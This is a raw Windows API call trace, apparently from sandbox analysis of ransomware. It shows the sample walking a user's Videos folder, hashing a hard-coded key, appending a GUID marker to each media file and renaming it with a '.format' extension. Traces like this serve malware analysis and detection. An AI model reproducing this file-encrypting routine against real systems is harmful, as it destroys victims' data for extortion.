(HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0068.075] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.075] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.076] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.076] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.076] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.076] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.076] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.076] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\") returned="3ymkgwpUkCk\\" [0068.076] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0068.076] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.076] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.076] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.076] PathFindFileNameW (pszPath="") returned="" [0068.076] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4421dc80, ftCreationTime.dwHighDateTime=0x1d4cadd, ftLastAccessTime.dwLowDateTime=0x3f681780, ftLastAccessTime.dwHighDateTime=0x1d4d3fd, ftLastWriteTime.dwLowDateTime=0x3f681780, ftLastWriteTime.dwHighDateTime=0x1d4d3fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.076] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4421dc80, ftCreationTime.dwHighDateTime=0x1d4cadd, ftLastAccessTime.dwLowDateTime=0x3f681780, ftLastAccessTime.dwHighDateTime=0x1d4d3fd, ftLastWriteTime.dwLowDateTime=0x3f681780, ftLastWriteTime.dwHighDateTime=0x1d4d3fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.076] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12dbc2c0, ftCreationTime.dwHighDateTime=0x1d4c598, ftLastAccessTime.dwLowDateTime=0x49d8bab0, ftLastAccessTime.dwHighDateTime=0x1d4cfa9, ftLastWriteTime.dwLowDateTime=0x49d8bab0, ftLastWriteTime.dwHighDateTime=0x1d4cfa9, nFileSizeHigh=0x0, nFileSizeLow=0x6524, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IwZE-JTO3c1j.swf", cAlternateFileName="IWZE-J~1.SWF")) returned 1 [0068.076] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\IwZE-JTO3c1j.swf") returned=".swf" [0068.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\IwZE-JTO3c1j.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\iwze-jto3c1j.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.077] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=25892) returned 1 [0068.077] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.079] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x64fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.079] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.080] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x6524, lpOverlapped=0x0) returned 1 [0068.080] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.080] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.080] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.080] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.081] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.081] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.081] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.081] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.081] GetLastError () returned 0x0 [0068.081] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.081] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.081] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.081] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x6524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.081] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.081] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.081] CloseHandle (hObject=0x5c8) returned 1 [0068.082] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\IwZE-JTO3c1j.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\iwze-jto3c1j.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\IwZE-JTO3c1j.swf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\iwze-jto3c1j.swf.format")) returned 1 [0068.083] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.083] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.084] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.084] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0080d0, ftCreationTime.dwHighDateTime=0x1d4c87e, ftLastAccessTime.dwLowDateTime=0x38cd3c40, ftLastAccessTime.dwHighDateTime=0x1d4d2f2, ftLastWriteTime.dwLowDateTime=0x38cd3c40, ftLastWriteTime.dwHighDateTime=0x1d4d2f2, nFileSizeHigh=0x0, nFileSizeLow=0x3943, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msa0S6oHJtcg43Ia1l2.mp4", cAlternateFileName="MSA0S6~1.MP4")) returned 1 [0068.084] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\msa0S6oHJtcg43Ia1l2.mp4") returned=".mp4" [0068.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\msa0S6oHJtcg43Ia1l2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\msa0s6ohjtcg43ia1l2.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.084] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=14659) returned 1 [0068.084] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.086] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x391d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.086] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.087] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x3943, lpOverlapped=0x0) returned 1 [0068.087] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.087] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.087] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.087] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.088] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.088] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.088] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.088] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.088] GetLastError () returned 0x0 [0068.088] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.088] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.088] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.088] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3943, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.088] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.089] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.089] CloseHandle (hObject=0x5c8) returned 1 [0068.089] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\msa0S6oHJtcg43Ia1l2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\msa0s6ohjtcg43ia1l2.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\msa0S6oHJtcg43Ia1l2.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\msa0s6ohjtcg43ia1l2.mp4.format")) returned 1 [0068.090] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.090] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.091] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8fd690, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0xd3b4980, ftLastAccessTime.dwHighDateTime=0x1d4ce03, ftLastWriteTime.dwLowDateTime=0xd3b4980, ftLastWriteTime.dwHighDateTime=0x1d4ce03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pmee", cAlternateFileName="")) returned 1 [0068.091] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f77060, ftCreationTime.dwHighDateTime=0x1d4ce8c, ftLastAccessTime.dwLowDateTime=0x45cac370, ftLastAccessTime.dwHighDateTime=0x1d4ccff, ftLastWriteTime.dwLowDateTime=0x45cac370, ftLastWriteTime.dwHighDateTime=0x1d4ccff, nFileSizeHigh=0x0, nFileSizeLow=0xa7a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qGVWc3j9gq7bBp.swf", cAlternateFileName="QGVWC3~1.SWF")) returned 1 [0068.091] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\qGVWc3j9gq7bBp.swf") returned=".swf" [0068.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\qGVWc3j9gq7bBp.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\qgvwc3j9gq7bbp.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.091] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=42914) returned 1 [0068.091] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.093] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa77c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.093] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.094] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xa7a2, lpOverlapped=0x0) returned 1 [0068.094] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.095] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.095] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.095] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.095] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.095] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.095] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.095] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.095] GetLastError () returned 0x0 [0068.095] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.095] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.096] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa7a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.096] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.096] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.096] CloseHandle (hObject=0x5c8) returned 1 [0068.097] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\qGVWc3j9gq7bBp.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\qgvwc3j9gq7bbp.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\qGVWc3j9gq7bBp.swf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\qgvwc3j9gq7bbp.swf.format")) returned 1 [0068.098] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x921ee1a0, ftCreationTime.dwHighDateTime=0x1d4c5ef, ftLastAccessTime.dwLowDateTime=0x2f149a70, ftLastAccessTime.dwHighDateTime=0x1d4c65b, ftLastWriteTime.dwLowDateTime=0x2f149a70, ftLastWriteTime.dwHighDateTime=0x1d4c65b, nFileSizeHigh=0x0, nFileSizeLow=0xd9ad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="syGCE5H.avi", cAlternateFileName="")) returned 1 [0068.098] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\syGCE5H.avi") returned=".avi" [0068.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\syGCE5H.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\sygce5h.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.098] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=55725) returned 1 [0068.098] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.101] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd987, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.101] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.102] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xd9ad, lpOverlapped=0x0) returned 1 [0068.102] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.102] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.102] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.102] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.103] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.103] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.103] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.103] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.103] GetLastError () returned 0x0 [0068.103] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.103] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.103] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd9ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.103] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.104] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.104] CloseHandle (hObject=0x5c8) returned 1 [0068.105] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\syGCE5H.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\sygce5h.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\syGCE5H.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\sygce5h.avi.format")) returned 1 [0068.106] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc73ff270, ftCreationTime.dwHighDateTime=0x1d4cac2, ftLastAccessTime.dwLowDateTime=0xe402aa60, ftLastAccessTime.dwHighDateTime=0x1d4cf45, ftLastWriteTime.dwLowDateTime=0xe402aa60, ftLastWriteTime.dwHighDateTime=0x1d4cf45, nFileSizeHigh=0x0, nFileSizeLow=0xd4fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wvkOd8OJSRo.mp4", cAlternateFileName="WVKOD8~1.MP4")) returned 1 [0068.106] 